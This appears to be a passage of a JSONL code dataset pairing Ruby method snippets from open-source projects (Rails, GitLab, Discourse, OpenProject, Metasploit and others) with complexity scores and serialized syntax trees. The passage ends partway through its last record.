{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/structured_event_subscriber_test.rb","start_line":311,"raw_source":"def test_step_started_job\n        event = assert_event_reported(\"active_job.step_started\", payload: {\n          job_class: ContinuationJob.name,\n          step: :step,\n        }) do\n          ContinuationJob.perform_now(action: :step)\n        end\n\n        assert event[:payload][:job_id].present?\n      end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_step_started_job\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"event\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_event_reported\",{\"type\":\"str\",\"children\":[\"active_job.step_started\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job_class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContinuationJob\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"step\"]},{\"type\":\"sym\",\"children\":[\"step\"]}]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContinuationJob\"]},\"perform_now\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"step\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"payload\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"job_id\"]}]},\"present?\"]}]}]}]}","id":"e87253ba-f5c1-45c4-ac8a-c1cbfcdaae06"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/query.rb","start_line":372,"raw_source":"def statement\n    return \"1=0\" unless valid?\n\n    statement_filters\n      .map { |filter| \"(#{filter.where})\" }\n      .compact_blank\n      .join(\" AND \")\n  end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"statement\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"1=0\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"statement_filters\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filter\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"where\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},\"compact_blank\"]},\"join\",{\"type\":\"str\",\"children\":[\" AND \"]}]}]}]}","id":"a98ade45-1acc-4ada-ac5c-a901876ed164"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations_test.rb","start_line":503,"raw_source":"def test_push_has_many_through_does_not_load_target\n    david = authors(:david)\n\n    david.categories << categories(:technology)\n    assert_not_predicate david.categories, :loaded?\n    assert_includes david.categories, categories(:technology)\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_push_has_many_through_does_not_load_target\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"david\",{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"david\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"david\"]},\"categories\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"categories\",{\"type\":\"sym\",\"children\":[\"technology\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"david\"]},\"categories\"]},{\"type\":\"sym\",\"children\":[\"loaded?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"david\"]},\"categories\"]},{\"type\":\"send\",\"children\":[null,\"categories\",{\"type\":\"sym\",\"children\":[\"technology\"]}]}]}]}]}","id":"4d319f7b-3a01-49ec-af63-1ffdd1ffaade"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/wp_total_cache_exec.rb","start_line":81,"raw_source":"def require_auth?\n    @user = datastore['USERNAME']\n    @password = datastore['PASSWORD']\n\n    if @user and @password and not @user.empty? and not @password.empty?\n      return true\n    else\n      return false\n    end\n  end","complexity_score":16.3,"ast_json":"{\"type\":\"def\",\"children\":[\"require_auth?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@password\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},{\"type\":\"ivar\",\"children\":[\"@password\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@password\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"3bef468b-8d30-4188-887d-bf55b2d827c0"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/principals/replace_references_service.rb","start_line":72,"raw_source":"def rewrite_custom_value(from, to)\n      CustomValue\n        .where(custom_field_id: CustomField.where(field_format: \"user\"))\n        .where(value: from.id.to_s)\n        .update_all(value: to.id.to_s)\n    end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"rewrite_custom_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"from\"]},{\"type\":\"arg\",\"children\":[\"to\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomValue\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_field_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomField\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"field_format\"]},{\"type\":\"str\",\"children\":[\"user\"]}]}]}]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"from\"]},\"id\"]},\"to_s\"]}]}]}]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to\"]},\"id\"]},\"to_s\"]}]}]}]}]}","id":"40c83cc0-d2b9-4a8f-8bcd-5aadbdf78b60"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/admin/web_hooks_controller.rb","start_line":52,"raw_source":"def edit\n    data = serialize_data(@web_hook, AdminWebHookSerializer, root: \"web_hook\")\n    data[\"extras\"] = { \"categories\" => data.delete(:categories) }\n    render json: MultiJson.dump(data), status: :ok\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"edit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"serialize_data\",{\"type\":\"ivar\",\"children\":[\"@web_hook\"]},{\"type\":\"const\",\"children\":[null,\"AdminWebHookSerializer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"str\",\"children\":[\"web_hook\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"extras\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"categories\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"categories\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MultiJson\"]},\"dump\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}]}]}","id":"771ed553-f2b9-4580-b245-a257fbed4739"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/renders_commits.rb","start_line":24,"raw_source":"def prepare_commits_for_rendering(commits)\n    commits.each(&:lazy_author) # preload commits' authors\n    commits.each(&:lazy_latest_pipeline)\n\n    Banzai::CommitRenderer.render(commits, @project, current_user) # rubocop:disable Gitlab/ModuleWithInstanceVariables\n\n    commits\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_commits_for_rendering\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"commits\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commits\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"lazy_author\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commits\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"lazy_latest_pipeline\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Banzai\"]},\"CommitRenderer\"]},\"render\",{\"type\":\"lvar\",\"children\":[\"commits\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"lvar\",\"children\":[\"commits\"]}]}]}","id":"7866b12f-d73d-4e5b-81f9-9b237871cebb"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/journal_formatter/custom_field/plain.rb","start_line":105,"raw_source":"def find_list_value(value, custom_field)\n    ids = value.split(\",\").map(&:to_i)\n\n    id_value = custom_field\n               .custom_options\n               .where(id: ids)\n               .pluck(:id, :value)\n               .to_h\n\n    ids.map do |id|\n      id_value[id] || I18n.t(:label_deleted_custom_option)\n    end.join(\", \")\n  end","complexity_score":18.1,"ast_json":"{\"type\":\"def\",\"children\":[\"find_list_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"arg\",\"children\":[\"custom_field\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_i\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"id_value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_field\"]},\"custom_options\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"ids\"]}]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"value\"]}]},\"to_h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id_value\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"label_deleted_custom_option\"]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}","id":"81f13f96-578b-4679-9792-f73b4c74c3df"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/helpers/feature_setup.rb","start_line":69,"raw_source":"def feature_flags\n          return @feature_flags if defined?(@feature_flags)\n\n          @feature_flags ||= options[:set_feature_flags] || feature_flags_from_env\n        end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"feature_flags\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@feature_flags\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@feature_flags\"]}]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@feature_flags\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"set_feature_flags\"]}]},{\"type\":\"send\",\"children\":[null,\"feature_flags_from_env\"]}]}]}]}]}","id":"fdf8d03d-8de2-4c8e-8951-7705307d72ca"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/slice.rb","start_line":562,"raw_source":"def start(...)\n        container.start(...)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"start\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container\"]},\"start\",{\"type\":\"forwarded_args\",\"children\":[]}]}]}","id":"402756e3-bc0b-432b-8d3c-3b85b3f0df36"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/requests/uploads_controller_spec.rb","start_line":1189,"raw_source":"def stub_list_multipart_request\n        list_multipart_result = <<~XML\n        <?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\n        <ListPartsResult>\n           <Bucket>s3-upload-bucket</Bucket>\n           <Key>#{external_upload_stub.key}</Key>\n           <UploadId>#{mock_multipart_upload_id}</UploadId>\n           <PartNumberMarker>0</PartNumberMarker>\n           <NextPartNumberMarker>0</NextPartNumberMarker>\n           <MaxParts>1</MaxParts>\n           <IsTruncated>false</IsTruncated>\n           <Part>\n              <ETag>test</ETag>\n              <LastModified>#{Time.zone.now}</LastModified>\n              <PartNumber>1</PartNumber>\n              <Size>#{5.megabytes}</Size>\n           </Part>\n           <Initiator>\n              <DisplayName>test-upload-user</DisplayName>\n              <ID>arn:aws:iam::123:user/test-upload-user</ID>\n           </Initiator>\n           <Owner>\n              <DisplayName></DisplayName>\n              <ID>12345</ID>\n           </Owner>\n           <StorageClass>STANDARD</StorageClass>\n        </ListPartsResult>\n        XML\n        stub_request(\n          :get,\n          \"https://s3-upload-bucket.#{SiteSetting.enable_s3_transfer_acceleration ? \"s3-accelerate.dualstack\" : \"s3.dualstack.us-west-1\"}.amazonaws.com/#{external_upload_stub.key}?max-parts=1&uploadId=#{mock_multipart_upload_id}\",\n        ).to_return({ status: 200, body: list_multipart_result })\n      end","complexity_score":17.4,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_list_multipart_request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"list_multipart_result\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\\n\"]},{\"type\":\"str\",\"children\":[\"<ListPartsResult>\\n\"]},{\"type\":\"str\",\"children\":[\"   <Bucket>s3-upload-bucket</Bucket>\\n\"]},{\"type\":\"str\",\"children\":[\"   <Key>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"external_upload_stub\"]},\"key\"]}]},{\"type\":\"str\",\"children\":[\"</Key>\\n\"]},{\"type\":\"str\",\"children\":[\"   <UploadId>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mock_multipart_upload_id\"]}]},{\"type\":\"str\",\"children\":[\"</UploadId>\\n\"]},{\"type\":\"str\",\"children\":[\"   <PartNumberMarker>0</PartNumberMarker>\\n\"]},{\"type\":\"str\",\"children\":[\"   <NextPartNumberMarker>0</NextPartNumberMarker>\\n\"]},{\"type\":\"str\",\"children\":[\"   <MaxParts>1</MaxParts>\\n\"]},{\"type\":\"str\",\"children\":[\"   <IsTruncated>false</IsTruncated>\\n\"]},{\"type\":\"str\",\"children\":[\"   <Part>\\n\"]},{\"type\":\"str\",\"children\":[\"      <ETag>test</ETag>\\n\"]},{\"type\":\"str\",\"children\":[\"      <LastModified>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]},{\"type\":\"str\",\"children\":[\"</LastModified>\\n\"]},{\"type\":\"str\",\"children\":[\"      <PartNumber>1</PartNumber>\\n\"]},{\"type\":\"str\",\"children\":[\"      <Size>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"megabytes\"]}]},{\"type\":\"str\",\"children\":[\"</Size>\\n\"]},{\"type\":\"str\",\"children\":[\"   </Part>\\n\"]},{\"type\":\"str\",\"children\":[\"   <Initiator>\\n\"]},{\"type\":\"str\",\"children\":[\"      <DisplayName>test-upload-user</DisplayName>\\n\"]},{\"type\":\"str\",\"children\":[\"      <ID>arn:aws:iam::123:user/test-upload-user</ID>\\n\"]},{\"type\":\"str\",\"children\":[\"   </Initiator>\\n\"]},{\"type\":\"str\",\"children\":[\"   <Owner>\\n\"]},{\"type\":\"str\",\"children\":[\"      <DisplayName></DisplayName>\\n\"]},{\"type\":\"str\",\"children\":[\"      <ID>12345</ID>\\n\"]},{\"type\":\"str\",\"children\":[\"   </Owner>\\n\"]},{\"type\":\"str\",\"children\":[\"   <StorageClass>STANDARD</StorageClass>\\n\"]},{\"type\":\"str\",\"children\":[\"</ListPartsResult>\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://s3-upload-bucket.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"enable_s3_transfer_acceleration\"]},{\"type\":\"str\",\"children\":[\"s3-accelerate.dualstack\"]},{\"type\":\"str\",\"children\":[\"s3.dualstack.us-west-1\"]}]}]},{\"type\":\"str\",\"children\":[\".amazonaws.com/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"external_upload_stub\"]},\"key\"]}]},{\"type\":\"str\",\"children\":[\"?max-parts=1&uploadId=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mock_multipart_upload_id\"]}]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"lvar\",\"children\":[\"list_multipart_result\"]}]}]}]}]}]}","id":"d896e71d-447b-41c5-94ba-880eca211bc2"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/object/deep_dup_test.rb","start_line":54,"raw_source":"def test_deep_dup_with_hash_class_key\n    hash = { Integer => 1 }\n    dup = hash.deep_dup\n    assert_equal 1, dup.keys.length\n  end","complexity_score":7.15,"ast_json":"{\"type\":\"def\",\"children\":[\"test_deep_dup_with_hash_class_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integer\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dup\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"deep_dup\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dup\"]},\"keys\"]},\"length\"]}]}]}]}","id":"af461548-7464-43ca-8321-4f8870f2f8e9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/merge_request/batch_comments_spec.rb","start_line":297,"raw_source":"def write_comment(selector: '.js-discussion-note-form', field: 'note_note', button_text: 'Start a review', text: 'Line is wrong')\n    page.within(selector) do\n      fill_in(field, with: text)\n      click_button(button_text)\n    end\n\n    wait_for_requests\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"write_comment\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"selector\",{\"type\":\"str\",\"children\":[\".js-discussion-note-form\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"field\",{\"type\":\"str\",\"children\":[\"note_note\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"button_text\",{\"type\":\"str\",\"children\":[\"Start a review\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"text\",{\"type\":\"str\",\"children\":[\"Line is wrong\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"within\",{\"type\":\"lvar\",\"children\":[\"selector\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"lvar\",\"children\":[\"field\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"click_button\",{\"type\":\"lvar\",\"children\":[\"button_text\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"wait_for_requests\"]}]}]}","id":"922e30b1-466e-47c9-8174-d038e7d1d12c"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/host.rb","start_line":267,"raw_source":"def run_ipmi_command(verb)\n    require 'miq-ipmi'\n    _log.info(\"Invoking [#{verb}] for Host: [#{name}], IPMI Address: [#{ipmi_address}], IPMI Username: [#{authentication_userid(:ipmi)}]\")\n    ipmi = MiqIPMI.new(ipmi_address, *auth_user_pwd(:ipmi))\n    ipmi.send(verb)\n  end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"run_ipmi_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"verb\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"miq-ipmi\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invoking [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"verb\"]}]},{\"type\":\"str\",\"children\":[\"] for Host: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"], IPMI Address: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ipmi_address\"]}]},{\"type\":\"str\",\"children\":[\"], IPMI Username: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authentication_userid\",{\"type\":\"sym\",\"children\":[\"ipmi\"]}]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ipmi\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqIPMI\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"ipmi_address\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth_user_pwd\",{\"type\":\"sym\",\"children\":[\"ipmi\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ipmi\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"verb\"]}]}]}]}","id":"6614310e-8d52-4146-b69d-aa5055db9568"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/issuable_metadata.rb","start_line":89,"raw_source":"def grouped_issuable_merge_requests_count\n      strong_memoize(:grouped_issuable_merge_requests_count) do\n        if collection_type == 'Issue'\n          ::MergeRequestsClosingIssues.count_for_collection(issuable_ids, current_user)\n        else\n          []\n        end\n      end\n    end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"grouped_issuable_merge_requests_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"grouped_issuable_merge_requests_count\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"collection_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"Issue\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MergeRequestsClosingIssues\"]},\"count_for_collection\",{\"type\":\"send\",\"children\":[null,\"issuable_ids\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"array\",\"children\":[]}]}]}]}","id":"048ca774-e81d-4ea6-9c03-fc5331fd1de7"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/spec/jobs/regular/discourse_post_event/send_reminder_spec.rb","start_line":310,"raw_source":"def setup_recurring_event_invitees\n        DiscoursePostEvent::Invitee.create_attendance!(going_user.id, recurring_event.id, :going)\n        DiscoursePostEvent::Invitee.create_attendance!(\n          interested_user.id,\n          recurring_event.id,\n          :interested,\n        )\n        DiscoursePostEvent::Invitee.create_attendance!(\n          not_going_user.id,\n          recurring_event.id,\n          :not_going,\n        )\n        DiscoursePostEvent::Invitee.create_attendance!(\n          going_user_unread_notification.id,\n          recurring_event.id,\n          :going,\n        )\n        DiscoursePostEvent::Invitee.create_attendance!(\n          going_user_read_notification.id,\n          recurring_event.id,\n          :going,\n        )\n        DiscoursePostEvent::Invitee.create_attendance!(\n          visited_going_user.id,\n          recurring_event.id,\n          :going,\n        )\n      